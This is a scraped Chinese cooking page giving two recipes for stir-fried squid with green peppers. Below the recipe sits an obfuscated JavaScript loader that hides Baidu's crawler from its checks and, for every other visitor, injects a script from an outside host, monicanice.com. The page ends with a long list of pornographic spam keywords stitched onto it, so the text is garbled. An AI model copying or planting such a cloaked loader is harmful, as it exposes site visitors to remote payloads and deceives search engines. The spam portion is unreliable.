當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

變換花樣 青椒魷魚的不同做法!

2017-01-16 22:12:51  來源:360常識網   熱度:
導語:青椒雖然吃起來有些辣,但是也算是一種營養食材,對于人體保持身體健康有很大幫助。平時大家吃青椒就是喜歡搭配肉食,既然如此,為何不嘗試

青椒雖然吃起來有些辣,但是也算是一種營養食材,對于人體保持身體健康有很大幫助。平時大家吃青椒就是喜歡搭配肉食,既然如此,為何不嘗試搭配魷魚呢?下面小編就來教大家青椒魷魚的兩種不同做法。

做法一

材料:

魷魚、青椒、蒜、姜、鹽、料酒、生抽、耗油、巴馬火麻油

步驟

1、將準備好的青椒切好

2、魷魚切好,過一遍熱水盛出待用

3、起鍋,倒入火麻油,熱后將蒜、姜倒入

4、爆香后,將魷魚倒入翻炒,加入兩滴料酒

5、翻炒2分鐘左右,魷魚熟了盛出來

6、起鍋,倒入火麻油,然后將切好的青椒倒入翻炒

7、翻炒至青椒變軟,再將魷魚倒入一起翻炒

8、1分鐘左右,加入鹽、生抽、蠔油調位即可出鍋

小貼士:魷魚會有腥味,所以先用熱水過一遍,再用火麻油爆香蒜和姜,這樣能更好地去掉腥味。

做法二

四個青椒二兩干魷魚

配料:

一兩油少許鹽少許料酒少許生抽

步驟

1青椒去籽,切塊。干魷魚水中泡軟后,切花條

2鍋中熱好油,放入魷魚條炒開再放入青椒翻炒

3加入少許水,蓋上鍋燜上一會,再放調料即可

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
91freevideos精品| 色花堂国产精品第一页| 国产福利精品视频| 亚洲国产精品无码久久SM| 国产午夜久久精品| 国产精品自在线拍国产第一页| 久久精品国产清高在天天线| 国产精品自在拍一区二区不卡 | 午夜精品久久久久久久无码| 78成人精品电影在线播放 | 精品91自产拍在线观看| 久久婷婷五月综合色精品| 久久免费视频精品| 久久福利资源国产精品999| 国产精品视频一区二区三区不卡| 亚洲精品在线免费观看视频| 综合国产精品第一页| 精品人妻va出轨中文字幕| 成人精品视频99在线观看免费| 日韩精品视频美在线精品视频| 亚洲精品国产第1页| 久久国产精品麻豆映画| 国产亚洲精品无码拍拍拍色欲| 国产精品制服丝袜| 久久亚洲精品成人av无码网站| 91老司机深夜福利精品视频在线观看| 国产青草亚洲香蕉精品久久| 中文字幕一区日韩精品| 51精品国产人成在线观看| 久久久久国产精品免费看| 国产成人综合日韩精品无码不卡| 九九免费精品视频在这里| 国产精品国三级国产aⅴ| 国产午夜精品一区二区三区极品| 国产精品免费福利久久| 精品国产黑色丝袜高跟鞋| 青娱乐精品视频在线观看| 国产成人精品免费视频动漫 | 久久久91人妻无码精品蜜桃HD| 国产一区二区精品在线观看| 精品国产不卡在线电影|